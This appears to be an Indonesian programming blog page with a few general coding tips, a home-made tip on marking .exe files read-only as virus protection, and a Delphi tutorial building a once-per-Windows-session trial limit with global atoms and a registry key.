Coupling comes to picture when the output of a function is input to other. This produces a sort of ripple effect and debugging becomes a problem and error-prone programming is found in such state.

(9) Always write the program or check the logic then, come to type.

This is a general practice that people directly sit on system and try to build logic and all the necessary corrections are done. But, such anactivity may produce problems like unused variable (regular declaration and descarding) , unused functions (declare and forget to call or just checking), moving in the wrong direction of logic. So, you should decide things before you come to portray them.

(10) Do not learn programs, try to develop your own logic.

Each person has logic but, there should be flow in that logic. If flow is absent then your ideas can not reach the destination. So, instead of learning an old algorithm, try to your own program based on your logic.

Read More..

[+/-] Selengkapnya...

Cara Sederhana Proteksi File *.Exe Dari Virus [Tanpa Anti Virus ]

Cara Sederhana Proteksi File *.Exe Dari Virus [Tanpa Anti Virus ]

Pemakaian anti virus belum tentu jaminan klo kompi bakal bebas virus, trojan,
worm.. Ataupun klo make firewall atau anti virus RTS [ real time system ] juga
ga bakal jamin bebas virus. Apalagi firewall dan anti virus RTS bakal bikin
kompi lebih lambat. Cara ini gue pake buat ngelindungin file dengan extensi exe
atau aplikasi.
Pertama pake search [ lewat start menu ] trus pilih 'all files and folders'. Ketik di
bagian 'All or part of the file name' : *.exe --->mencari file berextensi .exe Pada
bagian Look ini, pilih my computer aja. Search aja langsung.Kalo udah blok
semua file [ pke Ctrl + a ], trus klik kanan, pilih properties.
Pada attribut pilih 'read only'. Dengan memakai attrib read only, file file tersebut
hanya bisa di liat/di buka aja. So virus ga bisa merusak atau merubah file file
tersebut. kalo perlu tambahin aja attribut hidden.
Atau pake cara yang lebih gampang lewat command promt. Caranya buka
command promt, masuk ke drive C. Misal saat membuka command promt,
tampilan yang keluar biasanya
C:\Documents and Settings\user
nah buat kembali ke drive C, ktik aja : 'c..' [ tanpa tanda petik ]
sampai masuk ke C:\
Trus ketik: attrib +r *.exe
Untuk menambah attrib hidden, tambahin aja : +h
Gitu aja yah..Moga membantu.

Read More..

[+/-] Selengkapnya...

Buat Aplikasi Trial

Buat Aplikasi Trial

Langsung saja tanpa harus panjang-panjang kultumnya, silahkan
temen-temen lihat kode program yang ada didalam file dpr dari
program aplikasi yang akan kita buat nantinya.
Perhatikan baik-baik contoh program beserta penjelasan berikut ini:


Code:
// Nama program aplikasi yang anda buat
// anda bisa ganti sesuai dengan nama program yang anda tentukan
program OncePerSessionTrialTest;


uses
// anda harus menambahkan library windows, sebab secara default
ketika kita
// membuat program, library ini belum disertakan. Dengan demikian,
anda harus
// menambahkannya secara manual. Jangan sampai lupa ya....
Windows,
Forms,
// ini pas dari unit program yang anda buat
mainUnit in 'mainUnit.pas' {FormMain};
{$R *.res}

begin

Application.Initialize;
// Ketikkan kode program berikut ini untuk mengecek apakah program
aplikasi
// ini sudah pernah dijalankan atau belum

if 0 = GlobalFindAtom('SOME-UNIQUE-TEXT-RELATED-TO-
THISAPPLICATION')then
/ Kondisi ketika program aplikasi belum pernah dijalankan
begin
GlobalAddAtom('SOME-UNIQUE-TEXT-RELATED-TO-THIS-APPLICATION');
Application.CreateForm(TFormMain, FormMain);
Application.Run;
end
else
begin
// Kondisi ketika program aplikasi pernah dijalankan
Application.MessageBox(
'You can run the trial version '+
'of this application '+
'only once per Windows session!',
'Test Trial Protection');
end;
end.

Tambahan :
Perlu diketahui bahwa, anda dapat menjalankan program aplikasi ini
hanya sekali untuk setiap session.
Semoga contoh kode program ini bisa menambah wawasan tementemen
yang ingin memperdalam pengetahuan mengenai bahasa
pemrograman terutama delphi.

Regards,
Jika memang masih ada temen-temen yang belum bisa, janganlah
khawatir,
berikut ini saya akan berikan contoh 2 program aplikasi dengan
bagian seperti berikut ini.
1. Program aplikasi Trial
2. Program Manager untuk control Program aplikasi Trial.
Untuk tahap awal, kita kerjakan untuk program aplikasi Trial.
Langsung saja silahkan anda lihat kode program beserta penjelasan
seperti terlihat pada kode program berikut ini.

Code:

unit Unit1;


interface


uses
// Jangan lupa temen-temen untuk menambahkan library Registry agar
bisa
// mendeklarasikan object TRegistry
// Awas lho ya kalau sampai lupa...... tak juewer kupingnya....
weakakakak
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,
Forms,
Dialogs, Registry, ExtCtrls, StdCtrls;


type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
Bevel1: TBevel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
private
{ Private declarations }
public
{ Public declarations }
end;


var
Form1: TForm1;


implementation


{$R *.dfm}


procedure TForm1.FormCreate(Sender: TObject);
var
// Deklarasikan dulu nama atomnya
// ini dilakukan jika anda menjadikannya sebagai variabel
// So jika setiap kali anda menganggapnya sebagai variabel,
// maka jangan lupa anda mendeklarasikannya terlebih dahulu
NamaAtom : PChar;
// Deklarasikan object TRegistry
// Ini digunakan jika memang temen2 yang ingin contoh sebenarnya
// menggunakan registry itu seperti apa sih...
// tapi untuk caranya pasti banyak sekali caranya dan ini
// merupakan salah satu cara bagaimana kita memanfaatkan database
// registry untuk memproteksi program aplikasi kita dengan
// cara trial.
// Semoga ini bisa menjadi acuan atau bahan untuk belajar object
// registry, apabila ada yang kurang jelas silahkan buat thread
baru
// atu bisa juga PM bahwkan email maupun YM di eko_elits@yahoo.com
// dan eko_elits
Reg : TRegistry;
begin
// Create object TRegistry agar bisa diakses dan digunakan
Reg := TRegistry.Create;
// proses perampingan koding dengan memanggil nama object sekali
with Reg do
begin
// Buka key dari database registry dengan default root key-nya
// di posisi -->> HKEY_CURRENT_USER
// Jika nama Section "Registry Eko Indriyawan" tidak dijumpai,
maka
// akan dibuat Section tersebut.
// kenapa ini dibuat, karena kita memberikan status default True
// seperti ditunjukkan pada baris kode program dibawah ini
OpenKey('Registry Eko Indriyawan',True);
// Jika anda ganti default status buat-nya dengan False, maka
// jika section yang anda maksudkan tidak dijumpai, section yang
anda
// tentukan tadi diakan dibuat atau di-create....


// Berikut dibawah ini adalah baris kode program untuk mengambil
// data dari database registry dengan nama key "Key Registered"
// tentu saja value yang diambil dari data key dikonversi dulu
// ke tipe PChar agar bisa dibaca oleh fungsi GlobalFindAtom
NamaAtom := PChar(ReadString('Key Registered'));
// Validasi apakah ditemukan atom-nya
// selain itu juga di cek apakah nama atom yang ditentukan
// benar-benar ada atau tidak.
// Ini digunakan untuk menditeksi apakah program aplikasi sudah
// diregister atau belum diregister.
// Jika jumlah karakter nama atom sama dengan nol, maka kita
anggap
// bahwa program aplikasi belum diregister. Dengan catatan key
// untuk regsiter tidak null atau kosong
if (GlobalFindAtom(NamaAtom) = 0)and(Length(NamaAtom)<>0) then
begin
// register atom ke sistem
GlobalAddAtom(NamaAtom);
// keluar dari eksekusi baris program selanjutnya
// dan program siap dioperasikan
exit;
end
else if Length(NamaAtom) = 0 then
begin
// karena jumlah karakter dari variabel NamaAtom adalah 0
// maka sesuai dengan kesepakatan sebelumnya, bahwa program
aplikasi
// ini berarti belum diregister
MessageDlg('Program aplikasi ini belum
diregister...',mtInformation,[mbOK],0)
end
else
begin
// Informasi kalau program aplikasi sudah pernah diregister dan
masa
// trial sudah habis.
// untuk menjalankannya, silahkan anda register ulang dengan
cara
// mengganti key registernya...
// ini merupakan cara yang bagus sekali karena tanpa harus
melakukan
// proses restart komputer
MessageDlg('Program ini hanya dapat dijalankan sekali dalam
satu sesi Windows'+#10#13+
'Untuk menjalankan program ini lagi, restart
komputer Anda atau silakan' + #10#13+
'Silahkan anda minta untuk register ulang
!!',mtInformation,[mbOK],0);
end;
// CloseKey, digunakan untuk menutup key yang sekarang sedang
// aktif
CloseKey;
// Hapus alokasi memory yang telah digunakan oleh Object
TRegistry
Free;
// Tutup Program aplikasi
Application.Terminate;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose:
Boolean);
begin
CanClose := True;
case MessageDlg('Apakah anda yakin akan keluar dari program aplikasi
ini?'+#13#13+
'Ingat lho... anda tidak ada kesempatan lagi'+#13+
'NB : Anda bisa aktifkan lagi dengan cara register
ulang....',
mtConfirmation,[mbYes,mbNo],0) of
mrYes:
begin
end;
mrNo:
begin
CanClose := False;
end;
end;
end;
end.

Kumudian silahkan anda setting Formnya seperti berikut dibawah
ini.
Sebelumnya, silahkan anda hapus semua object yang ada didalam
form
Namun apabila anda belum menambahkan sama sekali object
kedalam form,
maka langsung saja silahkan anda klik kanan form-nya dan pilih
View as Text, setelah itu atur konfigurasi form dan objectnya
seperti berikut.
Namun temen2 jangan konyol dengan mengetikkan seperti dibawah
ini,
cukup copy dari konfigurasi berikut ini, setelah itu lanjutkan paste
di Delphi-nya.

Code:
object Form1: TForm1
Left = 152
Top = 100
Width = 393
Height = 208
Caption = 'Program develop by Eko Indriyawan'
Color = clWhite
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnCloseQuery = FormCloseQuery
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 116
Top = 64
Width = 154
Height = 13
Caption = 'Aplikasi berhasil untuk diaktifkan'
end
object Bevel1: TBevel
Left = -8
Top = 141
Width = 388
Height = 9
Shape = bsTopLine
end
object Label2: TLabel
Left = 4
Top = 88
Width = 95
Height = 13
Caption = 'For more information'
end
object Label3: TLabel
Left = 76
Top = 104
Width = 142
Height = 13
Caption = 'eko_elits@yahoo.com'
Font.Charset = DEFAULT_CHARSET
Font.Color = clOlive
Font.Height = -11
Font.Name = 'Verdana'
Font.Style = [fsBold]
ParentFont = False
end
object Label4: TLabel
Left = 20
Top = 104
Width = 34
Height = 13
Caption = 'E - mail'
end
object Label5: TLabel
Left = 20
Top = 120
Width = 16
Height = 13
Caption = 'YM'
end
object Label6: TLabel
Left = 76
Top = 120
Width = 60
Height = 13
Caption = 'eko_elits'
Font.Charset = DEFAULT_CHARSET
Font.Color = clOlive
Font.Height = -11
Font.Name = 'Verdana'
Font.Style = [fsBold]
ParentFont = False
end
object Button1: TButton
Left = 305
Top = 144
Width = 75
Height = 25
Caption = 'Close'
TabOrder = 0
OnClick = Button1Click
end
end

Setelah itu, klik kanan dan pilih View as Form
Tekan tombol Ctrl + A
Lanjutkan dengan tekan tombol Ctrl+X
Teruskan dengan tekan tombol Ctrl+V
Sekarang silahkan anda tekan tombol Ctrl + F9 untuk cek apakah
ada error atau tidak.
Jika tidak ada error maupun warning, maka silahkan anda tekan
tombol F9.
Apa yang terjadi.....
Ternyata program aplikasi anda belum diregister...
untuk itu jangan bingung dulu untuk registrasinya.....
kita lanjutkan terlebih dahulu untuk buat aplikasi yang kedua.
Langsung saja silahkan buat program aplikasi baru
dan tuliskan kode programnya seperti berikut dibawah ini

Code:
unit Unit1;
interface
uses
// Sekali lagi jangan lupa untuk tambahkan library Registry kedalam
uses
Registry, Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Label1: TLabel;
Bevel1: TBevel;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
// Deklarasikan object TRegistry
Reg : TRegistry;
begin
// Buat Object Tregistry agar bisa diakses dan digunakan
Reg := TRegistry.Create;
// Ringkas object
with Reg do
begin
// Buka section, jika tidak ada maka akan dibuat
OpenKey('Registry Eko Indriyawan',True);
// proses registrasi key berdasarkan yang anda tentukan
// dari object Edit1
WriteString('Key Registered',Edit1.Text);
// CloseKey
CloseKey;
// Lepaskan alokasi memory
Free;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.

Sekarang silahkan anda tekan tombol F12 hingga didapatkan
tampilan form
setelah itu silahkan anda klik kanan dan pilih View as Text/b]
Kemudian, silahkan anda copy konfigurasi form beserta
object-object yang ada didalamnya seperti berikut dibawah
ini dan lanjutkan dengan mem-paste kedalam program
delphi anda.

Code:
object Form1: TForm1
Left = 192
Top = 114
Width = 318
Height = 172
Caption = 'Develop by Eko Indriyawan'
Color = clWhite
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 16
Top = 16
Width = 18
Height = 13
Caption = 'Key'
end
object Bevel1: TBevel
Left = 16
Top = 104
Width = 289
Height = 25
Shape = bsTopLine
end
object Button1: TButton
Left = 16
Top = 56
Width = 75
Height = 25
Caption = 'Registered'
TabOrder = 0
OnClick = Button1Click
end
object Edit1: TEdit
Left = 16
Top = 32
Width = 121
Height = 21
TabOrder = 1
Text = 'Eko Cakep'
end
object Button2: TButton
Left = 231
Top = 108
Width = 75
Height = 25
Caption = 'Close'
TabOrder = 2
OnClick = Button2Click
end
end

Baiklah, sekarang silahkan anda lanjutkan dengan klik kanan dan
pilih View as Form
Tekan tombol Ctrl + F9 untuk mengecek apakah ada error atau
tidak.
setelah tidak ada error silahkan anda lanjutkan dengan menekan
tombol F9
Program siap jalan...
sekarang silahkan anda tentukan key untuk register, sebagai contoh
Eko Cakep.
Tutup program aplikasi ini..
kemudian silahkan anda buka lagi program aplikasi trialnya...
apa yang terjadi ?
ternyata program bisa jalan...
jika anda akan matikan, sebelumnya ada konfirmasi....
apabila anda matikan, maka program sudah tidak bisa dijalankan
lagi sebagaimana mestinya.
Namun anda bisa jalankan lagi apabila anda melakukan proses
registrasi ulang.
Semoga contoh program ini bisa memberikan ilmu tambahan buat
temen-temen yang belum mengetahuinya...
Amin....
jangan lupa untuk berbagi ilmu dengan temen2 lain yang belum
mengerti...

Read More..

[+/-] Selengkapnya...

 

© 2007 Computer and software: U and I | Design by Template Unik



---[[ Skip to top ]]---